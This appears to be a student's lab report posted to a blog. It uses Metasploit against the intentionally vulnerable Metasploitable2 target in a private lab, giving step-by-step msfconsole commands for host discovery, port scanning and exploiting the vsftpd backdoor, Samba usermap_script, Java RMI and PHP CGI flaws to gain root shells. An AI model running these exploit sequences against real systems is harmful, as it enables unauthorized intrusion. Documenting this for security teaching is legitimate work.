20222307 2024-2025-1 《网络与系统攻防技术》实验六实验报告

1.实验内容

1.1 本周学习内容回顾

Metasploit是一个渗透测试框架,它提供了一个平台让安全专家能够开发、测试和执行漏洞利用代码。它包括了一个庞大的漏洞和漏洞利用数据库,以及许多用于辅助渗透测试的工具,如端口扫描器、漏洞扫描器和payload生成器

1.2实验要求

本实践目标是掌握metasploit的用法。

指导书参考Rapid7官网的指导教程。

https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/

下载官方靶机Metasploitable2,完成下面实验内容。

(1)前期渗透

①主机发现(可用Aux中的arp_sweep,search一下就可以use)

②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

③选做:也可以扫系统版本、漏洞等。

(2)Vsftpd源码包后门漏洞(21端口)

(3)SambaMS-RPC Shell命令注入漏洞(端口139)

漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

(4)Java RMI SERVER命令执行漏洞(1099端口)

实验环境:
攻击机:虚拟机kali IP 192.168.214.132
靶机:Metasploitable2 192.168.214.150

2.实验过程

2.1 前期渗透

2.1.1 主机发现(可用Aux中的arp_sweep,search一下就可以use)

search arp_sweep
use 0
set RHOSTS 192.168.214.0/24
set THREADS 30
run


成功查询到靶机(192.168.214.150)

2.1.2 端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等

search portscan/tcp	
use 0
set RHOSTS 192.168.214.150
run


成功扫描出开放的tcp端口。

2.1.3 扫描系统版本、漏洞

search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.214.150
Run


从图中分析得,目标主机运行的是 Samba 版本(3.0.20),且使用 SMBv1,存在一些已知漏洞。

2.2 Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 192.168.214.150
Run

run攻击成功执行后,再输入uname –a、 pwd、 id等命令 验证。
我用的是“uname -a”和“ip addr”(查看IP地址)命令,验证是否攻击成功。

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)

漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

search exploit/multi/samba/usermap_script
use 0
set RHOST 192.168.214.150
exploit

利用成功 执行uname –a验证

2.4 Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

首先查看1099端口是否打开nmap -sS -sV -n 192.168.214.150,根据图片得知是打开的。

search exploit/multi/misc/java_rmi_server
use 0
show options //查看配置参数
set RHOST 192.168.214.150
exploit

从图片中得知sessions id为4

sessions -i 4\\输入进入任务
shell
whoami\\验证,得到结果root

2.5 PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOST 192.168.214.150
exploit

攻击成功,输入dir验证。

3.问题及解决方案

问题:Java RMI SERVER命令执行漏洞时,输入session后总是报错
解决方案:输入的session id错误了

4.学习感悟、思考等

在完成了使用Metasploit框架进行的一系列渗透测试实验后,我对于网络安全有了更深刻的认识。Metasploit作为一个强大的渗透测试工具,它的存在不仅仅是为了攻击,更多的是为了教育和防御。
Metasploit的使用必须遵守法律和道德准则。在实验中,我始终确保在授权的环境中进行测试,这让我意识到了在现实世界中进行渗透测试时必须遵守的严格规则。
Metasploit是一个双刃剑,它既可以被安全专家用来加强系统的安全性,也可能被攻击者用来造成破坏。这种认识让我更加尊重和谨慎地使用手中的工具。

posted @ 2024-11-21 14:10  20222307朴智晟  阅读(0)  评论(0编辑  收藏  举报